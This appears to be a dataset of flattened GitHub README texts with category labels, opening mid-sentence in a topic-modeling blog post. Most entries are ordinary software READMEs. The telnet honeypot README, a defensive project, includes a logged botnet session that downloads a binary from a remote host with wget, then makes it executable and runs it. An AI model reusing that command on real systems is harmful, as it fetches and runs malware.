sense yet and there s overlap in the words here s the output when number of topics is 3 num topics 3 https cdn images 1 medium com max 3028 1 v1afx7kqjdjod phg5doew png num topics 3 it s not quite making sense yet let s increment again by setting the number of topics to 4 to see if it improves https cdn images 1 medium com max 3028 1 tdkrqbtf2ad4q reyufnxq png these topics aren t too meaningful topic modeling with nouns one popular technique is to only look at terms that are from one part of speech so i ll try modifying the bag of words to include only nouns the results below are from trying 2 3 and 4 topics respectively https cdn images 1 medium com max 2440 1 lpnmpb55smwf7we9bxye7w png again there isn t much improvement and there s still overlap topic modeling with nouns and adjectives so in this next attempt i will add adjectives my lda model will now assess nouns and adjectives the results are below https cdn images 1 medium com max 2430 1 q9jda0kuwpnvnrbvbc ubq png as you can see there still isn t much improvement so i experimented with tuning the hyper parameters increasing the number of passes from 10 to 100 and setting alpha and eta values for alpha i experimented with really low values as well as symmetric and auto for eta i experimented with low values in an attempt to get less overlap between topics alpha and eta are hyper parameters in gensims ldamodel that i can tune a high alpha value means that every document is likely to contain a mixture of most of the topics not just any single topic specifically while a low alpha value means that a document is more likely to be represented by just a few of the topics a high eta value means that each topic is likely to contain a mixture of most of the words not just any specific word while a low eta value means a topic is more likely to contain a mixture of just a few of the words simply put a high alpha will make documents appear more similar to each other and a high eta will make topics appear more similar to each other unfortunately tuning the hyper parameters did not yield any meaningful topics i also tried including verbs and retraining the model with nouns adjectives and verbs but that didn t help it either why my data isn t ideal for topic modeling the model assumes that every chunk of text that we feed into it contains words that are somehow related so starting with the right corpus is crucial however comedy specials are inherently dynamic in nature with no fixed topics in most streams since the subject matter is constantly switching throughout a comedian s routine there usually isn t one centralized topic whereas in contrast if we trained our lda model with wikipedia articles each article document is already highly contextualized as it usually talks about a single topic which is a good thing it s also good to note that the number of documents per topic is also important lda is extremely dependent on the words used in a corpus and how frequently they show up wrapping up in this project i did text pre processing exploratory data analysis sentiment analysis and topic modeling https cdn images 1 medium com max 3004 1 ukrgmp8vzrurg5ylmnypuw png nlp libraries here are some popular nltk libraries to be aware of and some brief details nltk this is the library that everyone starts with it has a lot of text pre processing capabilities like tokenization stemming parts of speech tagging etc textblob this was built on top of nltk is easy to use and includes some additional functionality like sentiment analysis and spell check gensim this library was built specifically for topic modeling and include multiple techniques including lda and lsi it can also calculate document similarity spacy this is the newest of the bunch and is known for its fast performance since it was written in cython https cython org it can do a lot of things that nltk can do 5 summary of insights remember the original question the instructor wanted to answer was what makes ali wong s comedy routine stand out ali talks about her husband a lot and the instructor also talks about her husband a lot during her lectures in terms of profanity ali had the highest s word to f word ratio the instructor doesn t mind the s word but does not like hearing the f word at all ali wong tends to be more positive and less opinionated which is similar to the instructors personality as well based on these findings who are some other comedians the instructor might like comedians who don t say the f word that often mike birbiglia no curse words at all and john mulaney comedians with a similar sentiment pattern louis c k and mike birbiglia mike birbiglia https www imdb com title tt2937390 ref fn al tt 1 is a comedian that she d probably like as well | ai |
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libra | div align center img src tools data gh images logo png alt drawing width 100 libra an ergonomic machine learning library for non technical users save time blaze through ml build status https travis ci org palashio libra svg branch master https travis ci org palashio libra downloads https pepy tech badge libra https pepy tech project libra slack https img shields io badge slack chat green svg logo slack https join slack com t the libra team shared invite zt ek6bpd47 hdixxlraenkfy5jnwe8bgw pypi https img shields io badge pypi 20package 1 0 0 blue https pypi org project libra release https img shields io badge next 20release sep 2012 green https pypi org project libra website shields io https img shields io website up down blue red http shields io svg https libradocs github io issues https img shields io github issues palashio libra div check out our newer machine learning tool nylon https github com palashio nylon installation install latest release version pip install u libra install directory from github git clone https github com palashio libra git cd libra pip install alternatively you can build and use the docker image locally with docker build f docker libra normal dockerfile t libra docker run v path to my data data it rm libra or if you have nvidia docker https github com nvidia nvidia docker installed docker build f docker libra gpu dockerfile t libra gpu docker run v path to my data data gpus all it rm libra gpu usage the basics the core functionality of libra works through the client object a new client object should be created for every dataset that you want to produce results for all information about the models that re built the plots that are generated and the metrics are created will be stored in the object you can then call different queries on that client object and the dataset you passed to it will be used python from libra import client newclient client path to dataset newclient neural network query please model the median number of households now calling python newclient info will return a dictionary of all the information that was generated python dict keys id model num classes plots target preprocessor interpreter test data losses accuracy other queries can also be called on the same object and will be appended to the models dictionary python newclient svm query predict the proximity to the ocean newclient model keys dict keys regression ann svm tutorials full documentation can be found at libradocs org https libradocs org a list of resources can be found on our awesome libra https github com palashio awesome libra repository asking for help welcome to the libra community if you have any questions feel free to 1 read the docs https libradocs org 2 search through the issues https github com palashio libra issues q is 3aissue is 3aclosed 3 ask on stackoverflow https stackoverflow com questions ask guided false with the tag libra 4 join our slack https join slack com t the libra team shared invite zt ek6bpd47 hdixxlraenkfy5jnwe8bgw demos alt text tools data gh images gif gif contact shoot me an email at ps9cmk virginia edu mailto ps9cmk virginia edu if you d like to get in touch follow me on twitter https twitter com pshah for updates and my insights about modern ai | machine-learning neural-networks auto-ml | ai |
slamdata | latest release https img shields io github release slamdata slamdata svg https github com slamdata slamdata releases travis build status https travis ci org slamdata slamdata svg branch master https travis ci org slamdata slamdata coverage status https coveralls io repos slamdata slamdata badge svg https coveralls io r slamdata slamdata join the chat at https gitter im slamdata slamdata https badges gitter im join 20chat svg https gitter im slamdata slamdata utm source badge utm medium badge utm campaign pr badge utm content badge slamdata web based visual analytics for nosql data powered by quasar https github com quasar analytics quasar see the use with quasar use with quasar section for next steps building from source building slamdata requires node js v4 1 0 or newer the app is written in purescript http www purescript org the appropriate version of the purescript compiler will be installed as part of the npm dependencies see below prerequisites this can be skipped if bower http bower io is already installed globally npm install bower g checkout git clone git github com slamdata slamdata git fetch dependencies inside the slamdata repository directory bower install npm install build npm run build after this task finishes the public directory will contain the complete slamdata front end app use with quasar quasar can host the slamdata front end app on the same port as the api to do this use the content path command line argument when starting the engine java jar path to quasar jar content path path to slamdata app where path to slamdata app is the location of the source built public folder or the extracted contents of a pre built archive custom styling users can add custom styles to notebooks by adding a query parameter to the uri for example to add a stylesheet located in css foo css to http slamdata instance com notebook html db folder notebook slam view one should modify the route to http slamdata instance com notebook html stylesheets css foo css db folder notebook slam view the values of stylesheets are decoded and then split by so to add two stylesheets one could use stylesheets css foo css http 3a 2f 2ffoo com 2fstyles css stylesheets css 2ffoo css http 3a 2f 2ffoo com 2fstyles css stylesheets css 2ffoo css 2chttp 3a 2f 2ffoo com 2fstyles css these uris are checked and if they are valid corresponding link elements are added to the head here it would be html link type text css rel stylesheet href css foo css link type text css rel stylesheet href http foo com style css additional permissions working with quasar advanced the user can add permission tokens to the uri which will be sent with every ajax request for example to add permission tokens abcd and 1234 to http slamdata instance com notebook html db folder notebook slam view one should modify the route to http slamdata instance com notebook html permissionstoken abcd 1234 db folder notebook slam view these tokens then will be added to x extra permissions header the value of permissionstoken can be url encoded abcd 1234 is equal with abcd 2c1234 | front_end |
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docker-php-apache-base | base php with apache docker container https images microbadger com badges version webgriffe php apache base svg http microbadger com images webgriffe php apache base get your own version badge on microbadger com https images microbadger com badges image webgriffe php apache base svg http microbadger com images webgriffe php apache base get your own version badge on microbadger com dockerized environment for php web development and apache web server features ability to set apache document root through apache doc root environment variable default document root is var www html enabled apache modules rewrite ability to set php date timezone through php timezone environment variable default timezone is europe rome enabled php extensions gd mcrypt intl mysql mysqli pdo mysql mbstring soap opcache zip xls composer installed globally at usr local bin composer xdebug php extension installed but not enabled ability to enable xdebug php extension through xdebug enable environment variable which has to be set to 1 ability to set xdebug remote enable setting through host ip environment variable git installed required by composer ssmtp installed as mail transfer agent for php mail function ability to set ssmtp mailhub authuser and authpass through ssmtp mailhub ssmtp auth user and ssmtp auth pass environment variables mysql cli client installed usage standalone usage example with host s current working directory as document root docker run p 80 80 v pwd var www html webgriffe php apache base credits webgriffe http www webgriffe com | front_end |
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Information-Technology | information technology introduction to information technology | server |
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cvdata | build https github com monocongo cvdata workflows build badge svg codecov https codecov io gh monocongo cvdata branch master graph badge svg https codecov io gh monocongo cvdata license mit https img shields io badge license mit yellow svg https opensource org licenses mit pypi python version https img shields io pypi pyversions cvdata circleci https circleci com gh monocongo cvdata svg style svg https circleci com gh monocongo cvdata cvdata tools for creating and manipulating computer vision datasets installation this package can be installed into the active python environment making the cvdata module available for import within other python codes and available for utilization at the command line as illustrated in the usage examples below this package is currently supported for python versions 3 6 and 3 7 and the installation methods below assume that the package will be installed into a python 3 6 or 3 7 virtual environment from pypi this package can be installed into the active python environment from pypi via pip in addition to installing this package from pypi users will also need to install the tensorflow object detection api from that project s github repository bash pip install cvdata pip install e git https github com tensorflow models git egg object detection subdirectory research from source this package can be installed into the active python environment as source from its git repository we ll first clone download from github and then install the package into the active python environment bash git clone git github com monocongo cvdata git cd cvdata pip install e resize images in order to resize images and update the associated annotations use the script cvdata resize py or the corresponding script entry point cvdata resize this script currently supports annotations in kitti txt and pascal voc xml formats for example to resize images to 1024x768 and update the associated annotations in kitti format bash cvdata resize input images ssd training kitti image 2 input annotations ssd training kitti label 2 output images ssd training kitti image 2 output annotations ssd training kitti label 2 width 1024 height 768 format kitti we can also resize all images in a directory by using the same command as above but without an annotation directory or format specified bash cvdata resize input images ssd training kitti image 2 output images ssd training kitti image 2 width 1024 height 768 rename files in order to perform bulk renaming of image files we provide the script cvdata rename or the corresponding script entry point cvdata rename this allows us to specify a directory containing image files all of which will be renamed according to the prefix the prefix used for the resulting file names start the initial number in the enumeration part of the new file names and digits the width of the enumeration part of the new file names arguments for example bash cvdata rename images dir datasets handgun images prefix handgun start 100 digits 6 in a future release we ll support renaming of image and corresponding annotation files for example bash cvdata rename annotations dir datasets handgun kitti images dir datasets handgun images prefix handgun start 100 digits 6 format kitti kitti ids file file ids txt annotation format conversion in order to convert from one annotation format to another use the script cvdata convert py or the corresponding script entry point cvdata convert this script currently supports converting annotations from pascal to kitti from pascal to tfrecord from pascal to openimages from kitti to darknet and from kitti to tfrecord for example bash cvdata convert in format pascal out format kitti annotations dir data handgun pascal images dir data handgun images out dir data handgun kitti kitti ids file handgun txt cvdata convert in format kitti out format tfrecord annotations dir data kitti images dir data images out dir data tfrecord dataset tfrecord tf label map data tfrecord label map pbtxt tf shards 2 image format conversion in order to convert all images in a directory from png to jpg we can use the script cvdata convert py or the corresponding script entry point cvdata convert for example bash cvdata convert in format png out format jpg images dir datasets vehicle rename annotation labels in order to rename the image class labels of annotations use the script cvdata rename py or the corresponding script entry point cvdata rename this script currently supports annotations in kitti txt and pascal voc xml formats it is used to replace the label name for all annotation files of the specified format in the specified directory for example bash cvdata rename py labels dir data cvdata pascal old handgun new firearm format pascal exclusion of unwanted images annotations unwanted images and optionally their corresponding annotations can be excluded removed from a dataset using the script cvdata exclude py or the corresponding script entry point cvdata exclude for example bash cvdata exclude format pascal exclusions data handgun exclusions txt images data handgun images annotations data handgun pascal the script can also be used to filter out only corresponding image files by omitting the annotations argument and corresponding format argument for example bash cvdata exclude exclusions data handgun exclusions txt images data handgun images sanitize dataset in order to clean a dataset s annotations we can utilize the script cvdata clean py or the corresponding script entry point cvdata clean which will convert the images to jpg if any are in png format optionally replace labels optionally remove bounding boxes that contain specified labels and update the annotation files so that all bounding boxes are within reasonable ranges if specified then offending problematic files can be moved into a problems directory otherwise they will be removed for example bash cvdata clean format pascal annotations dir data datasets delivery truck pascal images dir data datasets delivery truck images problems dir data datasets delivery truck problem replace labels deivery delivery truck ups remove labels bus train split dataset into training validation and test subsets in order to split a dataset into training validation and test subsets we can utilize the script cvdata split py or the corresponding script entry point cvdata split this script s cli contains options for specifying the source dataset s images and annotations directories and the destination images and annotations directories for the respective train valid test subset splits the default split ratio is 70 training 20 validation and 10 testing but can be modified with the split argument these are colon separated float values and should sum to 1 for example bash cvdata split annotations dir data rifle kitti label 2 images dir data rifle kitti image 2 train annotations dir data rifle split kitti trainval label 2 train images dir data rifle split kitti trainval image 2 val annotations dir data rifle split kitti trainval label 2 val images dir data rifle split kitti trainval image 2 test annotations dir data rifle split kitti test label 2 test images dir data rifle split kitti test image 2 format kitti split 0 65 0 25 0 1 move in the case where only images are required to be split we can omit the annotations related arguments from the command bash cvdata split images dir data rifle kitti image 2 train images dir data rifle split kitti train image 2 val images dir data rifle split kitti valid image 2 test images dir data rifle split kitti test image 2 move filtering the module script cvdata filter py or the corresponding script entry point cvdata filter can be used to filter the number of image annotation files of a dataset it currently supports limiting the number of bounding boxes per class type the filtered dataset will contain annotation files with bounding boxes only for the class labels specified and limited to the number of boxes specified for each class label for example bash cvdata filter format darknet src annotations data darknet dest annotations data filtered darknet src images data images dest images data filtered images darknet labels data darknet labels txt boxes per class car 6000 truck 6000 relabel annotations the module script cvdata relabel py or the corresponding script entry point cvdata relabel can be used to filter the number of image annotation files of a dataset for example to relabel all pascal annotation files in a directory from dog to beagle bash cvdata relabel labels dir data cvdata pascal old dog new beagle format pascal since darknet yolo annotation files use index values that correspond to entries in a class labels file we would use integer values for the old and new arguments bash cvdata relabel labels dir data cvdata darknet old 1 new 4 format darknet this function currently supports darknet kitti and pascal formats remove duplicates the module script cvdata duplicates py or the corresponding script entry point cvdata duplicates can be used to remove duplicate images from a directory this works on images that are similar i e images don t need to be exactly the same optionally the module can remove corresponding annotation files assuming that the annotation file names correspond to the image file names for example abc jpg and abc xml also we can move the duplicate files into a separate directory rather than removing the files if a directory for duplicates is specified for example bash cvdata duplicates images dir data trucks ups images annotations dir data trucks ups pascal dups dir data trucks ups dups masks create masks from region polygons described in an annotation json file created by the vgg image annotator http www robots ox ac uk vgg software via via html tool bash cvdata mask images data images annotations data via annotations json masks data masks format vgg classes data class labels txt masks will be written with the mask value corresponding to the class id for example if we have a class labels file with a single label then the only class id is 1 and so the masks will have a pixel value of 1 1 1 where pixels are masked by default each mask described in the annotations file will result in a separate mask file so for example if the annotation for image file abc jpg includes two mask regions then the resulting mask files will be named abc 0 segmentation png and abc 0 segmentation png however if the combine option is used then all masks for an images will be included in a single mask file so the single mask file corresponding to image file named abc jpg will be abc segmentation png we can also use the cvdata mask script entry point to create tfrecord files from an input dataset of jpg images and corresponding png masks for this scenario we expect the mask files to have the same base file name as the images files and for the image and mask files to be present in their own separate directories for example bash cvdata mask images data images masks data masks in format png out format tfrecord tfrecords data tfrecords shards 4 train pct 0 8 dataset statistics basic statistics about a dataset are available via the script cvdata analyze py or the corresponding script entry point cvdata analyze for example we can count the number of examples in a collection of tfrecord files specify a directory containing only tfrecod files bash cvdata analyze format tfrecord annotations data animals tfrecord total number of examples 100 the above functionality can be utilized within python code like so python from cvdata analyze import count tfrecord examples tfrecords dir data animals tfrecord number of examples count tfrecord examples tfrecords dir print f number of examples number of examples for datasets containing annotation files in coco darknet yolo kitti or pascal formats we can get the number of images per class label for example bash cvdata analyze format kitti annotations data scissors kitti images data scissors images label scissors count 100 visualize annotations in order to visualize images and corresponding annotations use the script cvdata visualize py or the corresponding script entry point cvdata visualize this script currently supports annotations in coco json darknet txt kitti txt tfrecords and pascal voc xml formats it will display bounding boxes and labels for all images annotations in the specified images and annotations directories for example bash cvdata visualize format pascal images dir data weapons images annotations dir data weapons pascal for developers testing tests are based on pytest and are launched in stand alone virtual environments via tox https tox readthedocs io en latest bash tox citation misc cvdata author james adams title cvdata an open source python library for manipulating computer vision datasets url https github com monocongo cvdata month october year 2019 | ai |
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gap_sdk | greenwaves technologies gwt logo gwt link gwt logo logo png gwt link https greenwaves technologies com gap sdk about the gap sdk allows you to compile and execute applications on the gap series processors we provide you with a set of tools and two different operating systems for gap tools https greenwaves technologies com tools and software gap riscv gnu toolchain a pre compiled toolchain inherited from risc v project with support for our extensions to the risc v instruction set architecture program control gap debug your application using gdb program the gapuino flash memory with applications nntool https github com greenwaves technologies gap sdk blob master tools nntool readme md a set of tools based on python helps to port nn graphs from various nn training packages to gap autotiler https greenwaves technologies com manuals build autotiler html index html a code generator for gap which can generate a user algorithm cnn matrixadd matrixmult fft mfcc etc with optimized memory management gapy a python utility for building the flashimage creating partitions and filesystems executing openocd etc gvsoc https greenwaves technologies com gvsoc the full system simulator for profiling gap applications is a lightweight and flexible instruction set simulator which can simulate greenwaves gap series processors gvsoc allows execution of programs on a virtual platform without any hardware limits thanks to device models full application with real device drivers can be simulated currently we provide simulations of devices such as cameras microphones lcds etc profiler profiler gives a visual view of what is happening inside the chip and allows to control the simulator through a graphic interface operating systems pulp os the open source embedded rtos produced by the pulp project freertos freertos is an open source real time operating system greenwaves technologies has ported it to gap pmsis pmsis is an open source system layer which any operating system can implement to provide a common api to applications we currently provide it for pulp os and freertos and it is used by our applications to be portable getting started with the gap sdk ubuntu 20 04 os requirements installation these instructions were developed using a fresh ubuntu 20 04 focal fossa 64 bit virtual machine from os boxes https www osboxes org ubuntu ubuntu 2004 info the following packages need to be installed bash sudo apt get install y autoconf automake bison build essential cmake curl doxygen flex git gtkwave libftdi dev libftdi1 libjpeg dev libsdl2 dev libsdl2 ttf dev libsndfile1 dev graphicsmagick libmagick dev compat libtool libusb 1 0 0 dev pkg config python3 pip rsync scons texinfo wget python package management sdk and some tools are all based on python3 version 3 8 you can use following command to set your default python to python3 bash sudo update alternatives install usr bin python python usr bin python3 10 this will setup a python binary pointing at python3 we strongly recommend to use anaconda3 https www anaconda com to manage python packages download and install the toolchain now clone the gap risc v toolchain bash git clone https github com greenwaves technologies gap riscv toolchain ubuntu git install the toolchain this may require to launch the script through sudo bash cd gap riscv toolchain ubuntu install sh clone the actual gap sdk repository gitlab you can find the url on the top blue button which written clone github you can find the url on the top green button which written code then run bash git clone the url of this repository if you are using ssh to clone don t forget to put your ssh key in your account configure the sdk you can either source sourceme sh in the root sdk folder and then select the right board from the list or directly source the board config bash source sourceme sh or bash source configs the target you want to use sh for gap8 if you directly source the board config you need to source the appropriate config file for the board that you have the sdk supports 3 boards gapuino gapoc a and gapoc b and each of them can use version 1 2 3 of the gap8 chip boards bought before 10 2019 contains gap8 version 1 and use a usb b plug for jtag while the ones bought after contains version 2 3 and use a usb micro b for jtag once the proper config file is sourced you can proceed with the sdk build note that after the sdk has been built you can source another board config file to change the board configuration in case you want to use a different board in this case the sdk will have to be built again as soon as the sdk has been built once for a board configuration it does not need to be built again for this configuration unless the sdk is cleaned python requirements our modules gapy runner require a few additional python packages that you can install with this command from gap sdk root folder bash pip3 install r requirements txt pip3 install r doc requirements txt sdk installation first use the following command to configure the shell environment correctly for the gap sdk it must be done for each terminal session bash cd path to gap sdk choose which board source sourceme sh tip you can add an alias command as follows in your bashrc file bash alias gap sdk cd path to gap sdk source sourceme sh typing gap sdk will now change to the gap sdk directory and execute the source command once in the sdk run make help to get commands and get sdk ready to use make help gap sdk main targets clean clean the sdk all build the whole sdk with all tools minimal get latest sources for all rtos and libs gvsoc build gvsoc simulation platform openocd all build openocd tools to run simulation on boards nntool build nntool then depends on what you need build the sdk accordingly bash make target install openocd rules copy openocd udev rules and reload udev rules bash sudo cp your openocd path openocd contrib 60 openocd rules etc udev rules d sudo udevadm control reload rules sudo udevadm trigger now add your user to dialout group bash sudo usermod a g dialout username this will require a logout login to take effect build sdk doc sdk doc is build and generated based on sphinx https www sphinx doc org en master the sdk will have installed all the necessary packages for you you just need to run bash cd doc make html this will generate the doc in html in doc build html and open the file index html with your browser within this doc you can find all the api descriptions how to use our tools like nntool gvsoc profiler etc and some useful application notes helloworld finally try a test project first connect your gapuino to your pcs usb port now you should be able to run your first helloworld on the board bash cd examples target name basic helloworld make clean all run pmsis os freertos platform board in details pmsis os platform io are used to configure the rtos to run the example on specify the runner and select the output for printf pmsis os rtos freertos pulpos platform board gvsoc rtl fpga defult if not set is gvsoc io disable host semihosting uart rtl defult if not set is semihosting after the build you should see an output resembling pmsis helloworld entering main controller 32 0 hello world cluster master core entry 0 7 hello world 0 0 hello world 0 4 hello world 0 5 hello world 0 3 hello world 0 1 hello world 0 2 hello world 0 6 hello world cluster master core exit test success detected end of application exiting with status 0 loop exited commands completed if this fails ensure that you followed previous steps correctly openocd install udev rules if libusb fails with a permission error you might need to reboot to apply all changes if you need gap tools for neural networks nntool or the autotiler please follow the next section if you just wish to also have access to pulp os simply type bash compile pulp os and its librairies make pulp os and replace pmsis os freertos by pmsis os pulpos on your run command line console io via uart if you choose to boot your application from flash and or you want to view the output of printf s in your code then you can first compile your application with the printf redirected on the uart with this command bash make clean all platform board pmsis os your os io uart you can also use a terminal program like cutecom bash sudo apt get install y cutecom cutecom then please configure your terminal program to use dev ttyusb1 with a 115200 baud rate 8 data bits and 1 stop bit upgrading downgrading the sdk if you want to upgrade downgrade your sdk to a new old version bash cd gap sdk git checkout master git pull git checkout release tag name for minimal install make clean minimal for full install make clean sdk you can find a list of releases in this repository getting help please log any issue https github com greenwaves technologies gap sdk issues you have with the sdk in the github project include all the information you can to help us reproduce your issue including sdk version logs steps to reproduce and board | sdk gap-sdk pulp gap8 iot-platform processor microprocessor | server |
IoT-Home-Guard | py3 6 https img shields io badge python 3 6 blue svg mit https img shields io github license mashape apistatus svg iot home guard iot home guard is a project to help people discover malware in smart home devices for users the project can help to detect compromised smart home devices for security researchers it is also useful in network analysis and malicious hehaviors detection in july 2018 we had completed the first version we will complete the second version by october 2018 with improvement of user experience and increased number of identifiable devices the first generation is a hardware device based on raspberry pi with wireless network interface controllers we will customize new hardware in the second generation the system can be set up with software part in laptops after essential environment configuration software part is available in software tools proof of principle our approach is based on the detection of malicious network traffic a device implanted malwares will communicate with remote server trigger a remote shell or send audios videos to server the chart below shows the network traffic of a device which implanted snooping malwares red line traffic between devices and a remote spy server green line normal traffic of devices black line sum of tcp traffic mi listen wakeup resources mi listen wakeup png modules 1 ap module and data flow catcher catch network traffic 2 traffic analying engine extract characteristics from network traffic and compare them with device fingerprint database 3 device fingerprint database normal network behaviors of each devices based on whitelist call apis of 360 threat intelligence database https ti 360 net https ti 360 net 4 web server there may be a web server in the second generation procedure data flow catcher devices connected device fingerprint databse flow analyze engine 360 threat intelligence database web server user interfaces the tool works as an access point connected manually by devices under test sends network traffic to traffic analyzing engine for characteristic extraction traffic analyzing engine compares characteristics with entries in device fingerprint database to recognize device type and suspicious network connection device fingerprint database is a collect of normal behaviors of each device based on whitelist additionally characteristics will be searched on threat intelligence database of qihoo 360 to identify malicious behaviors a web server is set up as user interfaces effectiveness in our research we have succcessfully implanted trojans in eight devices including smart speakers cameras driving recorders and mobile translators with iot implant toolkit a demo video below implantdemo gif resources implantdemo gif we collected characteristics of those devices and ran iot home guard all devices implanted trojans have been detected we believe that malicious behaviors of more devices can be identified with high accuracy after supplement of fingerprint database tutorials of iot home guard for a hardware tool see iot home guard hardware tool readme md for a software tool see iot home guard software tools readme md | server |
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telnet-iot-honeypot | disclaimer this project neither supported or in development anymore it is based on python2 which has reached its eol in 2020 and uses dependencies which are getting harder to install over time use at your own risk telnet iot honeypot python telnet honeypot for catching botnet binaries this project implements a python telnet server trying to act as a honeypot for iot malware which spreads over horribly insecure default passwords on telnet servers on the internet the honeypot works by emulating a shell enviroment just like cowrie https github com micheloosterhof cowrie the aim of this project is primarily to automatically analyse botnet connections and map botnets by linking diffrent connections and even networks together architecture the application has a client server architecture with a client the actual honeypot accepting telnet connections and a server which receives information about connections and does the analysis the backend server exposes a http interface which is used to access to frontend as well as by the clients to push new connection information to the backend automatic analysis the backend uses 2 diffrent mechanisms to automatically link connections networks networks are discovered botnets a network is the set of all linked connections urls and samples urls and samples are linked when they are used in a connection two connections are linked when both connections are recieved by the same honeypot client mutliple clients are supported and use the same credentials in a short period of time defautl 2 minutes or come from the same ip address malware multiple networks are identified to use the same type of malware if the text entered during sessions of the networks aro mostly the same this comparison is done using sort of hash function which basically translates a session or connection into a sequence of words and then maps each word to a single byte so this resulting sequence of bytes can be easily searched running the application has a config file named config py samples are included for local and client server deployments configuration the backend requires a sql database default sqlite which is initialized at first run before the first run you should generate a admin account which is used to generate more users the admin account can also directly used by a client to post connections when more than one honeypots shall be connected creating multiple users is recommended bash create config sh both client and backend will read the files config yaml and config dist yaml to read configuration parameters the config dist yaml file includes default values for all but admin user credentials and these parameters are overwirtten by entries in the config yaml file running the server python backend py running the client this project contains an own honeypot however because of the client server architecture other honeypot can be used as well using the built in honeypot python honeypot py the client cannot be started without the server running to use a diffrent configuration for the client you can use the c switch like this python honeypot py c myconfig yaml if you only want to check the honeypot functionality you can start the client in interactive mode python honeypot shell using cowrie i wrote an output plugin for cowrie which has much more features than the built in honeypot if you want to use cowrie instead checkout my fork which includes the output module here https github com phype cowrie opening the frontend after the server is started open http 127 0 0 1 in your favorite browser sample connection enable shell sh cat proc mounts bin busybox pegok cd tmp cat s cp bin echo s bin busybox pegok nc wget bin busybox pegok dd bs 52 count 1 if s cat s bin busybox pegok rm s wget http example com 4636 i chmod x i i exit images screenshot 1 images screen1 png screenshot 2 images screen2 png screenshot 3 images screen3 png | honeypot telnet-server malware botnet | server |
teddit | this is only a mirror repo main repository at codeberg https codeberg org teddit teddit please submit issues and prs on codeberg teddit teddit net https teddit net a free and open source alternative reddit front end focused on privacy inspired by the nitter https github com zedeus nitter project no javascript or ads all requests go through the backend client never talks to reddit prevents reddit from tracking your ip or javascript fingerprint unofficial api https codeberg org teddit teddit wiki teddit api rss json support no rate limits or reddit account required lightweight teddit frontpage 30 http requests with 270 kb of data downloaded vs reddit frontpage 190 requests with 24 mb self hostable anyone can setup an instance an instance can either use reddit s api with or without oauth so reddit api key is not necessarily needed join the teddit discussion room on matrix teddit matrix org https matrix to teddit matrix org xmr 832ogrwuoss2jgyg7wjtqshidk7dergndfpenq9dzmghnxqtjrby1xgbqc3gw3gaifrm9e84j91vdmzrjosj32nkaznacej instances https teddit net https teddit net official instance community instances https teddit ggc project de https teddit ggc project de https teddit kavin rocks https teddit kavin rocks https teddit zaggy nl https teddit zaggy nl https teddit namazso eu https teddit namazso eu https teddit nautolan racing https teddit nautolan racing https teddit tinfoil hat net https teddit tinfoil hat net https teddit domain glass https teddit domain glass ibarajztopxnuhabfu7f onion http ibarajztopxnuhabfu7fg6gbudynxofbnmvis3ltj6lfx47b6fhrd5qd onion xugoqcf2pftm76vbznx4 i2p http xugoqcf2pftm76vbznx4xuhrzyb5b6zwpizpnw2hysexjdn5l2tq b32 i2p changelog see changelog md installation docker compose method console wget https codeberg org teddit teddit raw branch main docker compose yml docker compose build docker compose up teddit should now be running at http localhost 8080 docker image is available at https hub docker com r teddit teddit https hub docker com r teddit teddit environment variables the following variables may be set to customize your deployment at runtime variable description domain defines url for teddit to use i e teddit domain com defaults to 127 0 0 1 use reddit oauth boolean if true reddit app id must be set with your own reddit app id if false teddit uses reddit s public api defaults to false cert dir defines location of certificates if using https i e home teddit le live teddit net no trailing slash theme automatically theme the user s browser experience options are auto dark sepia or you can set white by setting the variable to empty defaults to auto flairs enabled enables the rendering of user and link flairs on teddit defaults to true highlight controversial enables controversial comments to be indicated by a typographical dagger defaults to true api enabled teddit api feature might increase loads significantly on your instance defaults to true video enabled enables video playback within teddit defaults to true redis enabled enables redis caching if disabled does not allow for any caching of reddit api calls defaults to true redis db sets the redis db name if required redis host sets the redis host location if required defaults to 127 0 0 1 redis password sets the redis password if required redis port sets the redis port if required defaults to 6379 ssl port sets the ssl port teddit listens on defaults to 8088 nonssl port sets the non ssl port teddit listens on defaults to 8080 listen address sets the address teddit listens for requests on defaults to 0 0 0 0 https enabled boolean sets whether or not to enable https for teddit defaults to false redirect http to https boolean sets whether to force redirection from http to https defaults to false redirect www boolean redirects from www to non www url for example if true teddit will redirect https www teddit com to https teddit com defaults to false use compression boolean if set to true teddit will use the https github com expressjs compression node js compression middleware to compress http requests with deflate gzip defaults to true use view cache boolean if this is set to true view template compilation caching is enabled defaults to false use helmet boolean recommended to be true when using https defaults to false use helmet hsts boolean recommended to be true when using https defaults to false trust proxy boolean enable trust proxy if you are using a reverse proxy like nginx or traefik defaults to false trust proxy address location of trust proxy defaults to 127 0 0 1 nsfw enabled boolean enable nsfw over 18 content if false a warning is shown to the user before opening any nsfw post when the nfsw content is disabled nsfw posts are hidden from subreddits and from user page feeds note users can set this to true or false from their preferences defaults to true post comments sort defines default sort preference options are confidence default sorting option in reddit top new controversal old random qa live defaults to confidence reddit app id if use reddit oauth config key is set to true you have to obtain your reddit app id for testing purposes it s okay to use this project s default app id create your reddit app here https old reddit com prefs apps make sure to create an installed app type of app default is abfyqddc9qph1w manual 1 install node js https nodejs org 1 optional install redis server https redis io highly recommended it works as a cache for reddit api calls 1 optional install ffmpeg https ffmpeg org it s needed if you want to support videos console linux apt install redis server ffmpeg macos brew install redis 1 clone and set up the repository console git clone https codeberg org teddit teddit cd teddit npm install no optional cp config js template config js edit the file to suit your environment redis server npm start teddit should now be running at http localhost 8080 | front_end |
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bobookie | 2102 practical movie app this project is for me and my group s final task in our 2102 web development course we re required to make a full stack app using vue and a backend framework in a month d team hannah ruth labana project lead ui ux web designer front end developer march nathaniel valeros front end developer william caleb perez back end developer stack laravel vue inertia tailwind contributions this project is open to contributions to contribute do the steps below composer https getcomposer org download is required for the app to work properly first fetch dependencies npm install second fetch vendor files composer update lastly run mix and serve scripts npm run hot and then in another terminal composer required php artisan serve open http localhost 3000 with your browser to see the result about laravel laravel is a web application framework with expressive elegant syntax we believe development must be an enjoyable and creative experience to be truly fulfilling laravel takes the pain out of development by easing common tasks used in many web projects such as simple fast routing engine https laravel com docs routing powerful dependency injection container https laravel com docs container multiple back ends for session https laravel com docs session and cache https laravel com docs cache storage expressive intuitive database orm https laravel com docs eloquent database agnostic schema migrations https laravel com docs migrations robust background job processing https laravel com docs queues real time event broadcasting https laravel com docs broadcasting laravel is accessible powerful and provides tools required for large robust applications learning laravel laravel has the most extensive and thorough documentation https laravel com docs and video tutorial library of all modern web application frameworks making it a breeze to get started with the framework if you don t feel like reading laracasts https laracasts com can help laracasts contains over 1500 video tutorials on a range of topics including laravel modern php unit testing and javascript boost your skills by digging into our comprehensive video library | laravel vue vuejs php | server |
